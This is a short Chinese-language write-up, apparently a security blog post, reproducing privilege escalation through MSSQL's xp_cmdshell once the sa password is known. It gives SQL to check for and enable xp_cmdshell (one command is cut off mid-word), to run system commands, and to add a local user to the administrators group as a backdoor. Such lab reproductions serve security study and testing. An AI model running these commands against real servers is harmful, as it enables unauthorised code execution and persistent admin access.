【漏洞复现】MSSQL xp_cmdshell提权漏洞
xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后默认禁止,但未删除。
利用前提
1 2
| Mssql数据库服务未降权(sa权限) 已获取到数据库密码
|
利用
获取sa账号密码后,连接上数据库,从dbo.sysobjects中查询,判断xp_cmdshell状态。有返回则为已开启。
1 2
| //有返回即已开启,xtype为对象类型,xtype='x'这里表示xp_cmdshell的对象类型为扩展存储过程。 select * from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
|
1 2
| //只用判断存在,利用count(*)即可,返回1即存在。 select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
|
1 2
| //利用EXEC启用xp_cmdshell EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGU
|
利用xp_cmdshell执行命令,通过xp_cmdshell执行系统命令指令如下
1
| exec master..xp_cmdshell 'whoami'
|

1 2 3 4
| //添加账号test 密码123.com的用户 exec master..xp_cmdshell "net user test12 123.com /add" exec master..xp_cmdshell "net localgroup administrators test12 /add" exec master..xp_cmdshell "net user test12"
|